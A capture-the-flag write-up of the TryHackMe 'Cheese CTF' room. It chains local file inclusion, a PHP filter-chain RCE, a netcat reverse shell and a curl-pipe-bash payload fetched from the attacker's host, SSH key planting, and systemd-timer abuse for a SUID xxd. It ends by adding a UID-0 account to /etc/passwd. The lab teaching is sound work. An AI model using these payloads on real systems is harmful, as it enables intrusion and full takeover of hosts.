Cheese CTF
Inspired by the great cheese talk of THM!
Room
- Title: CheeseCTF1.3
- Name: Cheese CTF
- Description: Inspired by the great cheese talk of THM!
- Creators: VainXploits & shadowabsorber
Flags
- What is the user.txt flag?
- What is the root.txt flag?
Initial Recon
I started scanning the target with my usual nmap scan. Unfortunately there is some port spoofing going on which causes thousands of ports to come back as open. So I started manually enumerating typical ports. I found a website running on port 80
Scrolling down, we find the website’s domain name.
After fuzzing for files and directories, I found /messages.html
.
Clicking on the Message!
link, we are redirected to http://10.10.96.72/secret-script.php?file=php://filter/resource=supersecretmessageforadmin
User Flag
LFI
It seems like a typical LFI
vulnerability, let’s see if we can read /etc/passwd
1
2
3
4
5
6
m3ga@kali:~$ curl 'http://10.10.96.72/secret-script.php?file=php://filter/resource=/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
Perfect! I went ahead and read the source code of the login.php
page.
1
2
3
4
5
6
7
8
9
10
11
12
m3ga@kali:~$ curl 'http://10.10.96.72/secret-script.php?file=php://filter/convert.base64-encode/resource=login.php' | base64 -d
...
// Replace these with your database credentials
$servername = "localhost";
$user = "comte";
$password = "[REDACTED]";
$dbname = "users";
...
$hashed_password = md5($pass);
// Query the database to check if the user exists
$sql = "SELECT * FROM users WHERE username='$filteredInput' AND password='$hashed_password'";
...
We can see the credentials used to connect to the database, but unfortunately we can not connect to it unless we are connecting locally.
Further inspecting the code, we realize that there is an SQL Injection
vulnerability. I used sqlmap
to dump the database.
1
m3ga@kali:~/tryhackme/Cheese$ sqlmap -r r.raw --dbms=mysql --tamper=space2comment -D users -T users -C username,password --dump
Since this was a blind SQLi, it took a while to dump the only entry that was in the database just to realize that this was a rabbit hole. I ended up dumping the username and password’s hash. The hash is not crackable.
LFI2RCE via PHP Filters
Going back to the LFI
vulnerability, after some testing, I realized we can run php commands by using php filtlers.
Using this script, I was able to generate a filter chain to remotely execute commands on the system. To test the vulnerability, I tried to execute phpinfo()
first.
GitHub - PHP filter chain generator
A CLI to generate PHP filters chain, get your RCE without uploading a file if you control entirely the parameter passed to a require or an include in PHP!
1
2
3
m3ga@kali:~$ python3 php_filter_chain_generator.py --chain '<?php phpinfo(); ?> '
[+] The following gadget chain will generate the following code : <?php phpinfo(); ?> (base64 value: PD9waHAgcGhwaW5mbygpOyA/PiA)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.bas...
Copying the script’s output and adding it to ?file=
results in our phpinfo()
being executed.
To get a reverse shell on the system, I first saved my payload in a file called payload.sh
.
1
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.11.75.248 53 >/tmp/f"); ?>
Then I started a web server and generated a filter chain to execute system("curl 10.11.75.248/payload.sh | /bin/bash"
.
1
2
3
m3ga@kali:~$ python3 php_filter_chain_generator.py --chain '<?php system("curl 10.11.75.248/payload.sh | /bin/bash"); ?> '
[+] The following gadget chain will generate the following code : <?php system("curl 10.11.75.248/payload.sh | /bin/bash"); ?> (base64 value: PD9waHAgc3lzdGVtKCJjdXJsIDEwLjExLjc1LjI0OC9wYXlsb2FkLnNoIHwgL2Jpbi9iYXNoIik7ID8+IA)
...
Copying the output and adding it to ?file=
, I got a shell back as www-data
.
1
2
3
4
5
6
7
m3ga@kali:~$ nc -lvnp 53
listening on [any] 53 ...
connect to [10.11.75.248] from (UNKNOWN) [10.10.151.5] 34904
bash: cannot set terminal process group (848): Inappropriate ioctl for device
bash: no job control in this shell
www-data@cheesectf:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
After enumerating the machine a little, I found out that the user comte
’s authorized_keys
file is writable by us.
1
2
3
4
5
www-data@cheesectf:/home/comte/.ssh$ ls -la
total 8
drwxr-xr-x 2 comte comte 4096 Mar 25 2024 .
drwxr-xr-x 7 comte comte 4096 Apr 4 17:26 ..
-rw-rw-rw- 1 comte comte 0 Mar 25 2024 authorized_keys
To exploit this misconfiguration, we can generate a public/private key pair and add our public key to the authorized_keys
file. And then connect to the target using the private key.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
m3ga@kali:~/tryhackme/Cheese$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/m3ga/.ssh/id_rsa): ./id_rsa_comte
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./id_rsa_comte
Your public key has been saved in ./id_rsa_comte.pub
...
www-data@cheesectf:/home/comte/.ssh$ echo 'ssh-rsa AAAA... m3ga@kali' >> authorized_keys
m3ga@kali:~/tryhackme/Cheese$ ssh comte@thecheeseshop.com -i id_rsa_comte
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-174-generic x86_64)
...
comte@cheesectf:~$
The user flag can be found inside comte
’s home directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
comte@cheesectf:~$ cat user.txt
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣶⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠉⠛⠻⢶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠟⠁⣠⣴⣶⣶⣤⡀⠈⠉⠛⠿⢶⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡿⠃⠀⢰⣿⠁⠀⠀⢹⡷⠀⠀⠀⠀⠀⠈⠙⠻⠷⣶⣤⣀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠋⠀⠀⠀⠈⠻⠷⠶⠾⠟⠁⠀⠀⣀⣀⡀⠀⠀⠀⠀⠀⠉⠛⠻⢶⣦⣄⡀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⠀⢀⣀⣀⡀⠀⠀⠀⠀⠀⠀⣼⠟⠛⢿⡆⠀⠀⠀⠀⠀⣀⣤⣶⡿⠟⢿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⣴⡿⠛⠛⠛⠛⣿⡄⠀⠀⠀⠀⠻⣶⣶⣾⠇⢀⣀⣤⣶⠿⠛⠉⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⠟⠀⠀⠀⠀⢿⣦⡀⠀⠀⠀⣹⡇⠀⠀⠀⠀⠀⣀⣤⣶⡾⠟⠋⠁⠀⠀⠀⠀⠀⣠⣴⠾⠇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⡿⠁⠀⠀⠀⠀⠀⠀⠙⠻⠿⠶⠾⠟⠁⢀⣀⣤⡶⠿⠛⠉⠀⣠⣶⠿⠟⠿⣶⡄⠀⠀⣿⡇⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠟⢁⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⠾⠟⠋⠁⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⣼⡇⠀⠀⠙⢷⣤⡀
⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⣾⡏⢻⣷⠀⠀⠀⢀⣠⣴⡶⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣤⣴⡟⠀⠀⠀⠀⠀⢻⡇
⠀⠀⠀⠀⠀⠀⣠⣾⠟⠁⠀⠀⠀⠙⠛⢛⣋⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠁⠀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⣠⣾⠟⠁⠀⢀⣀⣤⣤⡶⠾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣤⣤⣤⣤⣤⡀⠀⠀⠀⠀⠀⢸⡇
⠀⠀⣠⣾⣿⣥⣶⠾⠿⠛⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⠶⣶⣤⣀⠀⠀⠀⠀⠀⢠⡿⠋⠁⠀⠀⠀⠈⠉⢻⣆⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠛⠉⠁⠀⢀⣠⣴⣶⣦⣀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠋⠀⠀⠀⠉⠻⣷⡀⠀⠀⠀⣿⡇⠀⠀⠀⠀⠀⠀⠀⠘⣿⠀⠀⠀⠀⢸⡇
⠀⢸⣿⠀⠀⠀⣴⡟⠋⠀⠀⠈⢻⣦⠀⠀⠀⠀⠀⢰⣿⠁⠀⠀⠀⠀⠀⠀⢸⣷⠀⠀⠀⢻⣧⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⢿⡆⠀⠀⠀⠀⢰⣿⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⣸⡟⠀⠀⠀⠀⠙⢿⣦⣄⣀⣀⣠⣤⡾⠋⠀⠀⠀⠀⢸⡇
⠀⢸⡇⠀⠀⠀⠘⣿⣄⣀⣠⣴⡿⠁⠀⠀⠀⠀⠀⠀⢿⣆⠀⠀⠀⢀⣠⣾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠀⠀⠀⣀⣤⣴⠿⠃
⠀⠸⣷⡄⠀⠀⠀⠈⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠻⠿⠿⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣴⡶⠟⠋⠉⠀⠀⠀
⠀⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⢨⣿⠀⠀⠀⠀⠀⠀⣼⡟⠁⠀⠀⠀⠹⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⢻⣇⠀⠀⠀⠀⢀⣿⠀⠀⠀⠀⠀⠀⢀⣠⣤⣶⠿⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⢠⣾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣤⣤⣤⣴⡿⠃⠀⠀⣀⣤⣶⠾⠛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⣀⣠⣴⡾⠟⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣤⡶⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⣿⡇⠀⠀⠀⠀⣀⣤⣴⠾⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢻⣧⣤⣴⠾⠟⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠘⠋⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
THM{[REDACTED]}
Root Flag
Systemd Timers
Taking a look at comte
’s sudo privileges and linpeas
indicating that /etc/systemd/system/exploit.timer
is writable, it becomes clear what needs to be done.
1
2
3
4
5
6
comte@cheesectf:~$ sudo -l
User comte may run the following commands on cheesectf:
(ALL) NOPASSWD: /bin/systemctl daemon-reload
(ALL) NOPASSWD: /bin/systemctl restart exploit.timer
(ALL) NOPASSWD: /bin/systemctl start exploit.timer
(ALL) NOPASSWD: /bin/systemctl enable exploit.timer
The exploit.service
copies the xxd
binary to /opt
and adds SUID
permission to it as root. So, all we have to do is to make this service run and use the xxd
binary with SUID
to escalate to root.
1
2
3
4
5
6
7
comte@cheesectf:~$ cat /etc/systemd/system/exploit.service
[Unit]
Description=Exploit Service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/cp /usr/bin/xxd /opt/xxd && /bin/chmod +sx /opt/xxd"
HackTricks - Writable Timers
Here is a good resource on exploiting
Systemd Timers
We can modify the exploit.timer
file to execute exploit.service
by adding Unit=exploit.service
to it. I also added a OnActiveSec=10
to enable the service 10 seconds after we restart exploit.timer
. It can be any amount of time, I just added 10 seconds just in case…
1
2
3
4
5
6
7
8
9
[Unit]
Description=Exploit Timer
[Timer]
OnActiveSec=10
Unit=exploit.service
[Install]
WantedBy=timers.target
After restarting the service and 10 seconds passing, the xxd
binary should be copied to /opt
with the SUID
bit set.
1
2
3
4
comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl daemon-reload
comte@cheesectf:/etc/systemd/system$ sudo /bin/systemctl restart exploit.timer
omte@cheesectf:/etc/systemd/system$ ls -la /opt
-rwsr-sr-x 1 root root 18712 Sep 28 19:08 xxd
We can now use /opt/xxd <filename> | /opt/xxd -r
to read any file as root. This is how we can simply read the root.txt
file.
1
2
3
4
5
6
7
8
9
comte@cheesectf:/etc/systemd/system$ /opt/xxd /root/root.txt | /opt/xxd -r
_ _ _ _ __
___| |__ ___ ___ ___ ___ (_)___ | (_)/ _| ___
/ __| '_ \ / _ \/ _ \/ __|/ _ \ | / __| | | | |_ / _ \
| (__| | | | __/ __/\__ \ __/ | \__ \ | | | _| __/
\___|_| |_|\___|\___||___/\___| |_|___/ |_|_|_| \___|
THM{[REDACTED]}
But that is not enough, I need to actually get a root shell. To do this, we can use echo <data> | /opt/xxd | /opt/xxd -r - <destination_file>
to write to any file as root.
All we have to do now is generate a password hash using openssl
and modify the /etc/passwd
file to add a new user with the newly created hash and the UID 0
to login with that user and get a root shell.
Here I made a copy of the /etc/passwd
file and added my new user to it. This is just to not overwrite the entire /etc/passwd
and having to restart the machine in case anything goes wrong.
1
2
3
4
5
6
7
8
9
comte@cheesectf:/etc/systemd/system$ openssl passwd m3ga
6uZ4TDRQuTZxo
comte@cheesectf:/etc/systemd/system$ cat /etc/passwd > /tmp/passwd
comte@cheesectf:/etc/systemd/system$ echo 'm3ga:6uZ4TDRQuTZxo:0:0:root:/root:/bin/bash' >> /etc/passwd
comte@cheesectf:/etc/systemd/system$ cat /tmp/passwd | /opt/xxd | /opt/xxd -r - /etc/passwd
comte@cheesectf:/etc/systemd/system$ su m3ga
Password: m3ga
root@cheesectf:/etc/systemd/system# id
uid=0(root) gid=0(root) groups=0(root)
Outro
Many thanks to the creators of this room: VainXploits & shadowabsorber
It was overall a great room and it taught me that it is possible to execute php code with LFI vulnerabilities if certain filters are on.
- m3gakr4nus